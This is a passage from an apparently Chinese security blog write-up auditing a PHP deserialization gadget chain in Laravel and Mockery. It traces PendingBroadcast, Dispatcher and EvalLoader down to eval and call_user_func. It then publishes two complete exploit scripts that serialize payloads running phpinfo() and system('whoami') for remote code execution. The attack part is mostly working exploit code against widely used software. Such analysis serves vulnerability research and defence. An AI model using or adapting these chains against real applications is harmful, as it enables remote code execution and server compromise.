" . $definition->getCode()); } } call_user_func函数在第一个参数为数组的时候，第一个参数就是我们选择的类，第二个参数是类下的方法；所以这里直接去到EvalLoader类，去执行load方法从而调用到eval函数；这里发现存在参数，而且参数必须是MockDefinition类的实例；也即是意味着我们connection需要为MockDefinition类的实例；
继续审计发现，必须if为false才会触发eval方法；所以这里我们需要直接追溯到MockDefinition类中；
class MockDefinition { protected $config; protected $code; public function __construct(MockConfiguration $config, $code) { if (!$config->getName()) { throw new \InvalidArgumentException("MockConfiguration must contain a name"); } $this->config = $config; $this->code = $code; } public function getConfig() { return $this->config; } public function getClassName() { return $this->config->getName(); } public function getCode() { return $this->code; } }
看下getClassName函数；这里的config是可控的，所以我们直接找到一个存在getName方法并且可控该方法的类；全局搜索下找到MockConfiguration.php可以实现；
protected $name; public function getName() { return $this->name; }
因为最后是要经过class_exit函数的判断的，所以我们可以直接控制其返回一个不存在的类，就会造成false从而进入eval方法；继续回到eval方法；
class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
这里还有个getCode方法，我们通过上面的类也可审计getCode方法；code在MockDefinition类中也是可控的，所以我们可以随意的控制其内容，那么我们就可命令执行；放出我exp：
?php namespace Illuminate\Broadcasting{ use Illuminate\Contracts\Events\Dispatcher; class PendingBroadcast { protected $event; protected $events; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Mockery\Loader{ use Mockery\Generator\MockDefinition; class EvalLoader { public function load(MockDefinition $definition) {} } } namespace Mockery\Generator{ class MockConfiguration { protected $name; public function __construct($name){ $this->name = $name; } } } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct($config,$code) { $this->config = $config; $this->code = $code; } } } namespace{ $e = new Mockery\Generator\MockConfiguration('s1mple'); $d = new Mockery\Loader\EvalLoader(); $f = new Mockery\Generator\MockDefinition($e,'?php phpinfo();?>'); $c = new Illuminate\Broadcasting\BroadcastEvent($f); $a = new Illuminate\Bus\Dispatcher(array($d,"load")); $b = new Illuminate\Broadcasting\PendingBroadcast($a,$c); echo urlencode(serialize($b)); }
这里为了节省时间，我最后用abcdef直接代替了，造成rce；
细心的师傅想必也发现了；在最开始的call_user_func处，也是可以进行命令执行的；
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection);
这里可以直接控制进行命令执行；这个很简单，就直接放出我exp吧；
?php namespace Illuminate\Broadcasting{ use Illuminate\Contracts\Events\Dispatcher; class PendingBroadcast { protected $event; protected $events; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace{ $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $a = new Illuminate\Bus\Dispatcher('system'); $b = new Illuminate\Broadcasting\PendingBroadcast($a,$c); echo urlencode(serialize($b)); }
freebuf
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